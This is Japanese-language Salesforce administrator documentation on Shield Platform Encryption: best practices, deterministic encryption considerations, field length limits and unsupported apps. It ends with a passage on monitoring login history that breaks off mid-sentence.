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Shield Platform Encryption のベストプラクティス

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

組織にとって可能性が最も高い脅威を特定します。このプロセスは、必要なデー
タのみを暗号化できるように、暗号化が必要なデータと不要なデータを区別す
るのに役立ちます。テナントの秘密と鍵がバックアップされていることを確認
し、秘密および鍵の管理を許可するユーザを慎重に検討します。
1. 組織に対する脅威モデルを定義する。

組織に影響を及ぼす可能性が最も高い脅威を識別するために、正式な脅威モ
デル化方法に従います。その結果を基にデータ分類スキームを作成し、どの
データを暗号化するかを判断します。

2. 必要な場合のみ暗号化する。
• すべてのデータが機密に該当するわけではありません。規制上、セキュ

リティ上、コンプライアンス上、およびプライバシー上の要件を満たす
ために暗号化が必要な情報に的を絞ります。無用にデータを暗号化すれ
ば、機能やパフォーマンスに影響します。

• 早い段階でデータ分類スキームを評価し、セキュリティ部門、コンプラ
イアンス部門、およびをビジネス IT 部門の関係者と協力して要件を規定
します。ビジネスに欠かせない機能と、セキュリティおよびリスク対策のバランスを取り、脅威に関す
る仮説を定期的に検証します。

3. 早い段階で鍵やデータをバックアップおよびアーカイブする戦略を立てる。
テナントの秘密が破棄された場合は、再インポートしてデータにアクセスします。データおよびテナント
の秘密をバックアップして、安全な場所に保存する責任はお客様が単独で負うものとします。Salesforce で
は、テナントの秘密の削除、破棄、置き忘れが発生してもサポートできません。

4. Shield Platform Encryption の考慮事項を読み、組織への影響を理解する。
• 考慮事項によるビジネスソリューションおよび実装への影響を評価します。
• Shield Platform Encryption を本番組織にリリースする前に Sandbox 環境でテストします。暗号化ポリシー設

定は、変更セットを使用してリリースできます。
• 暗号化を有効にする前に、判明した違反を修正します。たとえば、SOQL の ORDER BY 句の暗号化項目を

参照した場合、違反が発生します。暗号化項目への参照を削除して違反を修正します。
• パイロット機能など、機能の有効化を Salesforce カスタマーサポートに依頼する場合、数日間のリードタ

イムをとってください。プロセスを完了するまでの時間は、その機能および組織がどのように設定され
ているかによって異なります。

5. リリースする前に AppExchange アプリケーションを分析およびテストする。
• AppExchange で入手したアプリケーションを使用する場合は、組織で暗号化データを操作する方法をテ

ストし、機能に影響がないか評価します。
• アプリケーションで Salesforce 外に保存される暗号化データを操作する場合、データ処理が生じる方法と

場所、および情報を保護する方法を調査します。
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• Shield Platform Encryption によるアプリケーションの機能への影響が疑われる場合は、プロバイダに評価を
見せて協力を求めます。また、Shield Platform Encryption に対応するカスタムソリューションについて相談
します。

• Lightning プラットフォームのみを使用して作成された AppExchange のアプリケーションは、Shield Platform

Encryption の機能および制限事項を継承します。

6. 標準搭載のセキュリティツール使用する。
Shield Platform Encryption は、ユーザ認証ツールではありません。どのユーザにどのデータが表示されるかを
制御するには、Shield Platform Encryption ではなく、項目レベルのセキュリティ設定、ページレイアウトの設
定、入力規則などの標準搭載のツールを使用してください。

7. 「暗号化鍵の管理」ユーザ権限を承認されたユーザのみに付与する。
「暗号化鍵の管理」権限を持つユーザは、組織固有の鍵を生成、エクスポート、インポート、および破壊
できます。設定変更履歴を使用して、これらのユーザの鍵管理アクティビティを日常的に監視します。

8. 有効な鍵素材を使用して既存のデータを同期する。
Shield Platform Encryption を有効にした時点で既存の項目およびファイルのデータは自動的に暗号化されませ
ん。既存の項目データを暗号化するには、項目データに関連付けられているレコードを更新します。この
アクションにより、これらのレコードの暗号化がトリガされ、保存時に既存の保存データが暗号化されま
す。既存のファイルの暗号化、またはほかの暗号化データの更新については、Salesforce にお問い合わせく
ださい。バックグラウンドで既存のファイルデータを暗号化して、データを最新の暗号化ポリシーおよび
鍵素材に適合させることができます。
Salesforce サポートにバックグラウンド暗号化サービスを依頼する場合は、バックグラウンド暗号化サービ
スを完了する必要がある日の 1 週間以上前にお問い合わせください。プロセスを完了するまでの時間は、
関連するデータの量によって異なります。数日かかる場合もあります。

9. 通貨および数値データは慎重に扱ってください。
通貨項目と数値項目は、積み上げ集計レポート、レポート期間、計算に混乱が生じるなど、プラットフォー
ム全体の幅広い機能に影響が及ぶことがあるため、暗号化できません。多くの場合、この種の非公開デー
タや機密データ、規制対象のデータは、暗号化がサポートされれているその他の項目種別に安全に保管で
きます。

10. 暗号化の影響についてユーザに通知する。
本番環境で Shield Platform Encryption を有効にする前に、ビジネスソリューションにどのような影響があるか
をユーザに通知します。たとえば、ビジネスプロセスに関連する場合、Shield Platform Encryption の考慮事項
に記載されている情報を共有します。

11. 最新の鍵を使用してデータを暗号化する。
新しいテナントの秘密を生成すると、新しいデータはすべてこの鍵を使用して暗号化されます。他方、既
存の機密データは以前の鍵で暗号化されたままです。こうした場合、Salesforce では、最新の鍵を使用して
既存の項目を再暗号化することを強くお勧めします。データの再暗号化については、Salesforce にお問い合
わせください。

12. ユーザまたは Salesfofce カスタマーサポートにログインアクセスを許可する場合は、慎重に判断します。
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ユーザにログインアクセスを許可し、ユーザが暗号化項目への項目レベルセキュリティのアクセス権を持っ
ている場合、そのユーザはその項目の暗号化データをプレーンテキストで参照できます。
Salesforce カスタマーサポートがログインアクセスを要求または使用するときに、特定のプロセスに従って
もらう必要がある場合は、特別な処理の手順を作成できます。ログインアクセスがケースの解決に役立つ
場合、Salesforce カスタマーサポートはこの手順に従います。特別な処理の手順を設定するには、アカウン
トエグゼクティブに問い合わせてください。

Shield Platform Encryption の一般的な考慮事項

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

次の考慮事項は、Shield Platform Encryption を使用して暗号化するすべてのデータ
に適用されます。

リード
リードとケースの割り当てルール、ワークフロールール、および入力規則は、
リード項目が暗号化されていても正常に機能します。リードのインポート中の
レコードの照合と重複排除は、確定的暗号化では機能しますが、確率的暗号化
では機能しません。Einstein リードスコアリングは使用できません。
Apex のリードの取引開始は正常に機能しますが、PL-SQL ベースのリードの取引
開始はサポートされていません。

フローとプロセス
フローとプロセスのほとんどの場所で、暗号化項目を参照できます。ただし、
次の絞り込みまたは並び替えのコンテキストでは、暗号化項目を参照できませ
ん。

並び替えの有効性絞り込みの有効性ツール

なし[レコードを更新] アクションプロセスビルダー

レコード選択肢セットリソースレコード選択肢セットリソースFlow Builder

レコードを取得要素レコードを取得要素
レコードの削除要素
レコード更新要素
条件の要件

変数に暗号化項目の値を保存し、フローのロジックでその値を操作できます。暗号化項目の値を更新すること
もできます。
一時停止中のフローインタビューによって、データが暗号化されていない状態で保存されることがあります。
フローまたはプロセスが再開を待機しているときに、関連付けられているフローインタビューが逐次化され、
データベースに保存されます。フローインタビューは、次のプロセスで逐次化され保存されます。
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• ユーザがフローを一時停止する
• フローが一時停止要素を実行する
• プロセスがスケジュール済みアクションの実行を待機している
これらのプロセス中にフローまたはプロセスが暗号化項目を変数に読み込んだ場合、そのデータが保存時に暗
号化されていないことがあります。

Next Best Action Recommendations

確率的暗号化を使用する場合、おすすめを読み込むための条件を指定するときに [おすすめの説明] などの暗号
化項目は使用できません。

カスタム項目
条件に基づく共有ルールでは、暗号化されたカスタム項目は使用できません。
一部のカスタム項目は暗号化できません。
• [一意] あるいは [外部 ID] 属性のある項目、または以前に暗号化されたカスタム項目に基づいてこれら

の属性が含まれる項目 (確率的暗号化スキームを使用する項目にのみ適用されます)

• 外部データオブジェクトの項目
• 取引先と取引先責任者のリレーションで使用されている項目
スキーマビルダーを使用して暗号化カスタム項目を作成することはできません。
Shield Platform Encryption はカスタムメタデータ型には使用できません。

SOQL/SOSL

• 確率的暗号化スキームを使用して暗号化された項目を、次の SOQL や SOSL の句および関数に含めることは
できません。
– MAX()、MIN()、COUNT_DISTINCT() などの集計関数
– WHERE 句
– GROUP BY 句
– ORDER BY 句
SOQL および SOSL と確定的暗号化との互換性については、Salesforce ヘルプの「確定的暗号化を使用する場合
の考慮事項」を参照してください。

ヒント:  SOQL クエリの WHERE 句を SOSL の FIND クエリに置き換えることができるかどうかを検討してく
ださい。

• 暗号化データを照会すると、予測される MALFORMED_QUERY ではなく、無効な文字列によって
INVALID_FIELD エラーが返されます。

Pardot

Pardot では、Pardot インスタンスがいくつかの条件を満たしている場合に限り、Shield Platform Encryption によって
暗号化された連絡先メールアドレスをサポートします。組織は、同一メールアドレスの複数のプロスペクトを
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許可する必要があります。この機能が有効化されると、連絡先メールアドレス項目を暗号化ポリシーに追加で
きます。
連絡先メールアドレスは権限オブジェクトに表示されるため、ユーザにプロスペクトオブジェクトを参照する
権限が必要です。
連絡先メールアドレス項目を暗号化する場合、Salesforce-Pardot コネクタはプロスペクトの 2 番目の一致基準と
してメールアドレスを使用できません。詳細については、「Salesforce-Pardot コネクタの設定」を参照してくだ
さい。

ポータル
組織で従来のポータル (2013 年より前に作成されたもの) が有効になっている場合、標準項目を暗号化すること
はできません。従来のカスタマーポータルとパートナーポータルをすべて無効にして、標準項目の暗号化を有
効にします。(Salesforce Experience Cloud サイトはサポートされます。)

従来のカスタマーポータルを無効にするには、[設定] のカスタマーポータル設定ページに移動します。従来の
パートナーポータルを無効にするには、[設定] のパートナーページに移動します。

Salesforce B2B Commerce

Shield Platform Encryption では、Salesforce B2B Commerce 管理パッケージのバージョン 4.10 以降をサポートしていま
す (一部の動作には違いがあります)。考慮事項の完全なリストは、「B2B Commerce 向け Shield Platform Encryption」
を参照してください。

検索
鍵を使用して項目を暗号化し、その後鍵を破棄しても、対応する検索語は検索インデックスに残ります。ただ
し、破棄した鍵に関連付けられたデータは復号化できません。

取引先、個人取引先、および取引先責任者
個人取引先が有効になっている場合、取引先の次のいずれかの項目を暗号化すると、取引先責任者の対応する
項目も暗号化されます。逆の場合も同様です。
• 名前
• 説明
• 電話
• Fax

取引先または取引先責任者の次のいずれかの項目を暗号化すると、個人取引先の対応する項目も暗号化されま
す。
• 名前
• 説明
• 住所(郵送先)

• 電話
• Fax
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• モバイル
• 自宅電話
• その他の電話
• メール
[取引先名] または [取引先責任者名] 項目が暗号化されている場合、マージ対象の重複する取引先または取引先
責任者を検索しても、結果が返されません。
取引先責任者の [名] または [姓] 項目を暗号化すると、名または姓で絞り込んでない場合にのみカレンダーの招
待のルックアップにその取引先責任者が表示されます。

メール不達処理
不達処理では、暗号化されたメールアドレスがサポートされません。メール不達処理が必要な場合は、標準の
[メール] 項目を暗号化しないでください。

メール-to-ケース
メール項目からテキストをコピーすると、メールテキストに埋め込まれた Unicode 文字もコピーされます。こ
れらの Unicode 文字シーケンスのうちの 2 つ (\uFFFE と \uFFFF) は Shield Platform Encryption で暗号化されたテキ
ストに含めることはできません。これらの Unicode シーケンスに関するエラーが発生した場合は、メール項目
からコピーしたテキストを削除して、手動で入力します。

活動の件名と説明
大文字と小文字を区別しない暗号化を使用して、[活動の件名] 項目を暗号化できます。項目を暗号化する鍵素
材を破棄すると、項目の絞り込みで一致が表示されません。
[活動の件名] 項目を暗号化し、その項目がカスタムの選択リストで使用されている場合は、その値に対して削
除および置換アクションは使用できません。選択リストから [活動の件名] 値を削除するには、その値の選択を
解除します。
本番組織の Sandbox コピーを作成するとき、OrgID が含まれる [活動の件名] 項目はコピーされません。
[活動の説明] を暗号化すると、[ToDo コメント] 項目も暗号化されます。両方の項目が暗号化されていても、検
証メールに [ToDo コメント] 項目は表示されますが、[活動の説明] は表示されません。

Salesforce for Outlook

Salesforce for Outlook のデータセットの検索条件と同じ項目を暗号化すると、Salesforce for Outlook は同期しません。
Salesforce for Outlook が再び同期するようにするには、暗号化された項目をデータセットの検索条件から削除し
ます。

キャンペーン
暗号化項目で検索する場合、キャンペーンメンバーの検索はサポートされません。
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メモ
新しいメモツールで作成されたメモの本文テキストは暗号化できます。ただし、古いメモツールで作成された
プレビューファイルおよびメモはサポートされません。

項目監査履歴
以前にアーカイブされた項目監査履歴のデータは、プラットフォームの暗号化を有効にしても暗号化されませ
ん。たとえば、組織で項目監査履歴を使用して、電話番号項目などの取引先項目に対してデータ履歴保持ポリ
シーを定義するとします。その項目の暗号化を有効にすると、新しい電話番号レコードが作成時に暗号化され
ます。[取引先履歴] 関連リストに保存された電話番号項目への以前の更新も暗号化されます。ただし、
FieldHistoryArchive オブジェクトにアーカイブ済みの電話番号履歴データは、暗号化されずに保存され
ます。以前にアーカイブしたデータを暗号化するには、Salesforce にお問い合わせください。

Salesforce エクスペリエンス
[取引先名] 項目を暗号化し、個人取引先を使用していない場合は、暗号化によってシステム管理者に対する
ユーザのロールの表示方法に影響します。通常、サイトユーザのロール名は、ユーザの取引先名とユーザプロ
ファイル名の組み合わせで表示されます。[取引先名] 項目を暗号化すると、取引先名の代わりに取引先 ID が表
示されます。
たとえば、[取引先名] 項目が暗号化されていない場合、「Acme」という取引先に属し、「カスタマーユーザ」
プロファイルを使用するユーザには、[Acme カスタマーユーザ] というロールが設定されます。[取引先名] 項
目が暗号化されている (かつ個人取引先が使用されていない) 場合は、[001D000000IRt53 カスタマーユーザ]

のようなロールが表示されます。

データインポートウィザード
データインポートウィザードを使用して、主従関係を使用する照合や、確率的暗号化スキームを使用する項目
を含むレコードの更新を行うことはできません。ただし、新しいレコードを追加することはできます。

レポート、ダッシュボード、およびリストビュー
• 暗号化項目の値を表示するレポートグラフおよびダッシュボードコンポーネントが、暗号化されていない

状態でキャッシュされることがあります。
• 暗号化されたデータを含む項目でリストビューのレコードを並び替えることはできません。

Chatter の暗号化
リッチパブリッシャーアドオンを使用して Chatter フィードにカスタムコンポーネントを埋め込むと、そのアド
オンに関連するデータはエンコードされますが、Shield Platform Encryption サービスで暗号化されません。リッチ
パブリッシャーアドオンで暗号化されないデータとして、拡張 ID、テキスト表現、サムネイル URL、タイト
ル、およびペイロードバージョン項目に保存されたデータがあります。
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重複管理で使用されるカスタム一致ルールの暗号化
カスタム一致ルールは、確定的暗号化スキームで暗号化された項目のみを参照できます。確率的暗号化はサ
ポートされません。鍵を循環する場合、暗号化項目を参照するカスタム一致ルールを無効化してから再有効化
する必要があります。鍵素材の更新後にこのステップを実行しないと、一致ルールはすべての暗号化データを
検出しません。
Shield Platform Encryption を使用する項目を含む標準一致ルールは、重複を検出しません。標準一致ルールに含ま
れる項目を暗号化する場合は、標準ルールを無効にします。
サービス保護は、システム全体で負荷が分散されるようにします。マッチングサービスでは、すべての一致が
最大 200 件見つかるまで一致候補が検索されます。Shield Platform Encryption では、サービス検索での候補の最大
数は 100 件です。暗号化を使用している場合、検出される重複の可能性があるレコードの数が少なくなった
り、まったく検出されなかったりすることがあります。
重複ジョブはサポートされません。

セルフサービスバックグラウンド暗号化
セルフサービスバックグラウンド暗号化では、7 日ごとに 1 回、データを暗号化できます。この制限には、[暗
号化統計およびデータ同期] ページから開始された同期プロセス、項目に対する暗号化を無効化すると自動的
に実行される同期、お客様の要求により Salesforce カスタマーサポートが実行する同期が含まれます。
次のような状況では、セルフサービスバックグラウンド暗号化を実行できない場合があります。
• オブジェクトのレコード数が 1,000 万を超えている
• 組織の鍵素材が破棄されている
• オブジェクトのデータがすでに同期されている
• 同期プロセスが、お客様によって、またはお客様の要求により Salesforce カスタマーサポートによって開始

され、すでに実行中である
• 統計情報が収集されている
• 暗号化ポリシーの変更 (項目またはデータ要素に対する暗号化の有効化など) が処理中である
同期プロセスを開始したら、完了するまで待ってから、暗号化ポリシーの変更や、鍵素材の生成、アップロー
ド、削除を行ってください。これらのアクションによって同期プロセスが中止されます。

従業員数
確率的暗号化を使用してメール項目を暗号化する場合は、健康チェックアンケートは使用できません。確定的
暗号化は完全にサポートされます。

一般情報
• 暗号化項目は、以下では使用できません。

– 条件に基づく共有ルール
– 類似商談検索
– 外部参照関係
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• 確率的暗号化スキームを使用して暗号化された項目は、データ管理ツールの検索条件に使用できません。
絞り込みを保持した確定的暗号化特有の考慮事項については、「確定的暗号化を使用する場合の考慮事項」
(ページ 204)を参照してください。

• Web-to-ケースはサポートされていますが、[Web 会社名]、[Web メール]、[Web 氏名]、[Web 電話] 項目は保存
時に暗号化されません。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。相違点

確定的暗号化を使用する場合の考慮事項
これらの考慮事項は、Shield Platform Encryption の確定的暗号化スキームで暗号化されたデータに適用されます。
確定的暗号化スキームでデータを暗号化するときに大文字と小文字を区別するかどうかによって、示される考
慮事項が異なる場合があります。

鍵の循環と絞り込みの可用性
鍵素材を循環したり、項目の暗号化スキームを大文字と小文字を区別する確定的暗号化スキームまたは大文字
と小文字を区別しない確定的暗号化スキームに変更する場合は、データを同期します。同期すると、Salesforce

の (確定的) 鍵素材にあるアクティブなデータが既存データおよび新規データに適用されます。データを同期し
ない場合、一意の属性を持つ項目を絞り込み、クエリを実行しても、正しい結果が返されません。
[設定] の [暗号化統計およびデータ同期] ページからほとんどのデータを自分で同期できます。詳細について
は、「バックグラウンド暗号化サービスによるデータ暗号化の同期」を参照してください。

使用可能な項目およびその他のデータ
確定的暗号化は、カスタム URL、メール、電話、テキスト、テキストエリアのデータ型で使用できます。次の
種類のデータでは使用できません。
• カスタム日付、日付/時刻、ロングテキストエリア、リッチテキストエリア、説明のデータ型
• Chatter

• ファイルと添付ファイル

検索条件の演算子
レポートとリストビューでは、演算子「次の文字列と一致する」および「次の文字列と一致しない」は、大文
字と小文字を区別する確定的暗号化でサポートされています。「次の文字列を含む」や「次の文字列で始ま
る」などのその他の演算子は、完全一致を返さず、サポートされません。絞り込み項目検索条件など、サポー
トされていない演算子に依存する機能もサポートされません。
大文字と小文字を区別しない確定的暗号化では、リストビューとレポートをサポートします。ただしユーザイ
ンターフェースには、暗号化データをサポートしない演算子を含め、すべての演算子が表示されます。サポー
トされている演算子のリストを確認するには、「数式での暗号化されたデータの使用」を参照してください。

数式
確定的暗号化スキームを使用して暗号化された項目は、SOQL WHERE クエリでは参照できません。
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大文字と小文字の区別
大文字と小文字を区別する確定的暗号化を使用する場合、大文字と小文字の区別が重要になります。暗号化さ
れた項目のレポート、リストビュー、SOQL クエリの結果では大文字と小文字は区別されます。したがって、
取引先責任者オブジェクトに対する SOQL クエリで LastName = Jones とすると、Jones のみが返され、jones や JONES

は返されません。同様に、大文字と小文字を区別する確定的スキームで一意性をテストする場合、「Jones」の
各バージョンがすべて一意になります。

カスタム項目の割当
大文字と小文字を区別しないクエリを許可するために、Salesforce では、データの小文字の複製をカスタム項目
としてデータベースに格納します。これらの複製は、大文字と小文字を区別しないクエリを可能にするために
必要ですが、カスタム項目の合計数に反映されます。

絞り込み可能な項目を識別する API オプション
確定的暗号化スキームを使用して暗号化された項目は絞り込み可能です。isFilterable() メソッドを使用
すると、暗号化された特定の項目の暗号化スキームを判断できます。項目が絞り込み可能であれば、メソッド
は true を返します。
ただし、API を使用して確定的暗号化スキームを明示的に検出または設定することはできません。

外部 ID

大文字と小文字を区別しない確定的暗号化では、テキストとメールの外部 ID カスタム項目をサポートします
が、その他の外部 ID カスタム項目はサポートしません。これらの項目を作成または編集するときは、以下の
項目設定の組み合わせのいずれかを使用します。

暗号化一意の属性外部 ID データ型

大文字と小文字を区別しない確定
的暗号化を使用

なしText

大文字と小文字を区別する確定的
暗号化を使用

一意かつ大文字と小文字を区別す
る

Text

大文字と小文字を区別しない確定
的暗号化を使用

一意かつ大文字と小文字を区別し
ない

Text

大文字と小文字を区別しない確定
的暗号化を使用

なしEmail

大文字と小文字を区別する確定的
暗号化を使用

一意Email

[ユニーク - 大文字と小文字を区別する] および [暗号化] オプションの両方の変更を同時に保存することはでき
ません。1 つの設定を変更し、保存してから、次の設定を変更します。
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複合項目
確定的暗号化を使用していても、一部の種類の検索は、データが大文字と小文字を区別する確定的暗号化で暗
号化されている場合には機能しません。複合名などの連結された値は、個別の値と同じではありません。たと
えば、複合名「William Jones」の暗号文は、「William」と「Jones」の暗号文を連結したものと同じではありませ
ん。
そのため、取引先責任者オブジェクトの [名] 項目と [姓] 項目が暗号化されている場合、次のクエリは機能しま
せん。
Select Id from Contact Where Name = 'William Jones'

ただし、次のクエリは機能します。
Select Id from Contact Where FirstName = 'William’ And LastName ='Jones'

大文字と小文字を区別するまたは区別しない確定的暗号化スキームでは複合項目がサポートされますが、個別
の列クエリのみでサポートされます。

文字列のよるレコードの絞り込み
文字列を使用してレコードを検索できます。ただし、文字列内のカンマは OR ステートメントとして動作しま
す。文字列にカンマが含まれる場合は、文字列を引用符で囲みます。たとえば、「“Universal Containers,

Inc, Berlin”」を検索すると、カンマも含めた文字列全体を含むレコードが返されます。「Universal

Containers, Inc, Berlin」を検索すると、「Universal Containers」または「Inc」または「Berlin」を含むレ
コードが返されます。

SOQL の GROUP BY ステートメント
確定的暗号化では、ほとんどの SOQL ステートメントを使用できます。GROUP BY は例外で、サポートされてい
ません。ただし、レポート結果を行または列でグループ化することはできます。

SOQL の LIKE および STARTS WITH ステートメント
確定的暗号化では、大文字小文字を含めた完全一致のみがサポートされます。部分一致を返す比較演算子はサ
ポートされていません。たとえば、LIKE ステートメントと STARTS WITH ステートメントはサポートされません。

SOQL の ORDER BY ステートメント
確定的暗号化では、データベース内の暗号化されたデータの並び替え順が維持されないため、ORDER BY はサ
ポートされていません。

インデックス
大文字と小文字を区別する確定的暗号化では、標準項目およびカスタム項目の単一列インデックス、単一列の
一意のインデックス (大文字と小文字を区別)、2 列インデックス、カスタムインデックスがサポートされてい
ます。
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大文字と小文字を区別しない確定的暗号化では、次の標準項目の標準インデックスが限定的にサポートされま
す。
• 取引先責任者 — メール
• メールメッセージ — リレーション
• リード — メール
• 名前
上記の項目に対するクエリは、大文字と小文字を区別しない確定的暗号化を使用して暗号化されている場合、
大規模なテーブルでパフォーマンスが低下する可能性があります。クエリの最適なパフォーマンスを確保する
には、標準インデックスの代わりにカスタムインデックスを使用します。カスタムインデックスを設定する場
合は、Salesforce カスタマーサポートにお問い合わせください。
多数のレコードを含む項目に確定的暗号化を適用する場合は、有効化プロセスに長い時間がかかる可能性があ
ります。絞り込みをサポートするため、有効化プロセスでは項目インデックスも再作成されます。

Next Best Action Recommendations

確定的暗号化を使用する場合、暗号化項目は、「次の文字列と一致する」または「次の文字列と一致しない」
演算子を使用する読み込み条件でのみ使用できます。

チャット
最大限の推奨結果を得るには、発言の提案オブジェクトの [発言] 項目で大文字と小文字を区別する確定的暗号
化スキームを使用します。この項目では、現在、他の暗号化スキームはサポートされていません。
会話エントリオブジェクトの [アクター名] 項目では、大文字と小文字が区別される確定的暗号化はサポートさ
れますが、大文字と小文字が区別されない確定的暗号化はサポートされません。

取引先および取引先責任者レコードの個人取引先への変換
取引先および取引先責任者レコードを個人取引先に変換する場合は、データを同期します。同期すると、大文
字と小文字を区別しない絞り込みを許可するインデックスがリセットされます。
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Shield Platform Encryption と Lightning Experience

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

Shield Platform Encryption は、Lightning Experience でも Salesforce Classic と同様に動作し
ますが、いくつか軽微な例外があります。
メモ

Lightning のメモプレビューは暗号化されません。
ファイル暗号化アイコン

ファイルが暗号化されていることを示すアイコンが Lightning では表示されま
せん。

Shield Platform Encryption による項目の制限

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

一定の状況で項目を暗号化すると、その項目に保存する値に制限を課すことが
できます。ユーザが非 ASCII 値 (中国語、日本語、韓国語エンコードデータなど)

を入力することが予想される場合は、次の項目の制限を強制適用する入力規則
を作成することをお勧めします。

非 ASCII 文字バイト
長

API 長

2212040アシスタント名 (取引先責任者)

133340002959アドレス (メールメッセージの宛先、
CC、BCC) (確率的暗号化または大文字
と小文字を区別する確定的暗号化で
暗号化した場合)

2212040市区群 (取引先、取引先責任者、リー
ド)

7024080メール (取引先責任者、リード)

2212040Fax (取引先)

2212040名 (取引先、取引先責任者、リード)

7024080姓 (取引先責任者、リード)

2212040ミドルネーム (取引先、取引先責任
者、リード)
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非 ASCII 文字バイト長API 長

7024080名前 (カスタムオブジェクト)

110360120名前 (商談)

2212040電話 (取引先、取引先責任者)

7024080部門 (取引先)

100030002207件名 (メールメッセージ) (確率的暗号化または大文
字と小文字を区別する確定的暗号化で暗号化した
場合)

126384128役職 (取引先責任者、リード)

メモ: このリストは完全ではありません。ここに表示されていない項目についての詳細は、API を参照し
てください。

メールメッセージ項目と大文字/小文字を区別しない暗号化
大文字と小文字を区別しない確定的暗号化でメールメッセージオブジェクトの [住所] 項目と [件名] 項目を暗号
化するには、これらの項目にデータを入力する前にスキームを適用します。これらの項目の既存のデータが次
の制限を超えた場合、そのデータは大文字と小文字を区別しない確定的暗号化で暗号化されません。
• API 長: 527

• バイト長: 765

• 非 ASCII 文字: 262

ケースコメントオブジェクト
ケースコメントオブジェクトの [本文] 項目には、ASCII の 4,000 文字 (または 4,000 バイト) の制限があります。た
だし、次の項目が暗号化されると、文字数制限は下がります。どの程度下がるかは入力する文字の種類によっ
て異なります。
• ASCII: 2959

• 中国語、日本語、韓国語: 1333

• その他の非 ASCII 文字: 1479

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。相違点
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Shield Platform Encryption がサポートされない Salesforce アプリケーションは?

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

一部の Salesforce 機能は、Shield Platform Encryption で暗号化されたデータを操作す
るときに期待どおりに動作します。それ以外の機能セットは期待どおりに動作
しません。
次のアプリケーションでは、Shield Platform Encryption で暗号化されたデータはサ
ポートされません。ただし、これらのアプリケーションが使用中の場合、その
他のアプリケーションに対して Shield Platform Encryption を有効にできます。
• Connect Offline

• Commerce Cloud (Salesforce B2B Commerce バージョン 4.10 以降がサポートされま
す)

• Customer 360 データマネージャ
• Data.com

• Marketing Cloud の Einstein レコメンデーションエンジン (Einstein のおすすめ、
Einstein Web レコメンデーション、Einstein メールレコメンデーションを含みま
す)

• Salesforce Einstein (Einstein Search、Einstein for Service、Sales Cloud Einstein、Einstein

Discovery、Einstein Builders、Einstein Vision および Language を含む)

• Heroku (ただし、Heroku Connect では、暗号化されたデータがサポートされます)

• Marketing Cloud (ただし、Marketing Cloud Connect では、暗号化されたデータがサポートされます)

• 公開クラウドプロバイダを使用してデータを保存する必要がある営業の生産性機能
• ソーシャルカスタマーサービス
• Thunder

• Quip

• Salesforce Billing

従来のポータル (カスタマー、セルフサービス、パートナー) では、Shield Platform Encryption で暗号化されたデー
タはサポートされません。従来のポータルが有効になっている場合は、Shield Platform Encryption を有効にできま
せん。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。この違いに
ついては、こちらをクリックしてください。

組織のセキュリティの監視

ログイン履歴と項目履歴を追跡し、設定変更を監視し、イベントに基づいてアクションを実行できます。
Salesforce 組織のセキュリティの監視に関する詳しい手順とヒントは、次のセクションを参照してください。
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このセクションの内容:

ログイン履歴の監視
システム管理者は、Salesforce 組織および Experience Cloud サイトに対して試行されたすべてのログインを監視
できます。[ログイン履歴] ページには、過去 6 か月間のユーザログインのレコードが最大 20,000 件まで表示
されます。さらにレコードを表示するには、CSV または GZIP ファイルに情報をダウンロードします。
項目履歴管理
特定の項目を選択して、オブジェクトの [履歴] 関連リストの項目履歴を追跡および表示できます。項目履
歴データは、組織経由で最大 18 か月間、API 経由で最大 24 か月間保持されます。項目履歴管理データは、
Salesforce 組織のデータストレージ制限に含まれません。
設定変更履歴を使用した設定変更の監視
設定変更履歴では、自分自身と他のシステム管理者が行った最近の設定変更を追跡します。監査履歴は、
複数のシステム管理者がいる場合に特に役立ちます。
トランザクションセキュリティポリシー (従来)

トランザクションセキュリティは、Salesforce リアルタイムイベントを受信し、作成したセキュリティポリ
シーに基づいて適切なアクションと通知を適用するフレームワークです。トランザクションセキュリティ
は、設定したポリシーに基づいてイベントを監視します。ポリシーがトリガされると、通知を受信し、必
要に応じてアクションを実行できます。

ログイン履歴の監視
エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience

使用可能なエディション:
Contact Manager Edition、
Developer Edition、
Enterprise Edition、Group
Edition、Performance
Edition、Professional
Edition、および Unlimited
Edition

ユーザ権限

ログインを監視する
• 「ユーザの管理」

システム管理者は、Salesforce 組織および Experience Cloud サイトに対して試行され
たすべてのログインを監視できます。[ログイン履歴] ページには、過去 6 か月間
のユーザログインのレコードが最大 20,000 件まで表示されます。さらにレコー
ドを表示するには、CSV または GZIP ファイルに情報をダウンロードします。

ログイン履歴情報
誰がいつどこからログインしたかなどの全般的なログイン履歴に加えて [ログイ
ン履歴] ページを使用して次の情報を参照できます。
• 認証メソッド参照 – OpenID Connect を使用して、組織にログインするユーザを

OpenID プロバイダがどのように認証するかを監視できるようになりました。
たとえば、どのユーザが多要素認証 (MFA) を使用してログインしているかを
確認できます。
Salesforce では、OpenID プロバイダがどのようにユーザを認証しているかを示
すために、プロバイダから返された OpenID Connect トークンの JSON 文字列か
ら認証方法を抽出します。プロバイダと連携して、JSON 文字列で使用する値
を定義してください。手始めに、Internet Engineering Task Force で現在定義され
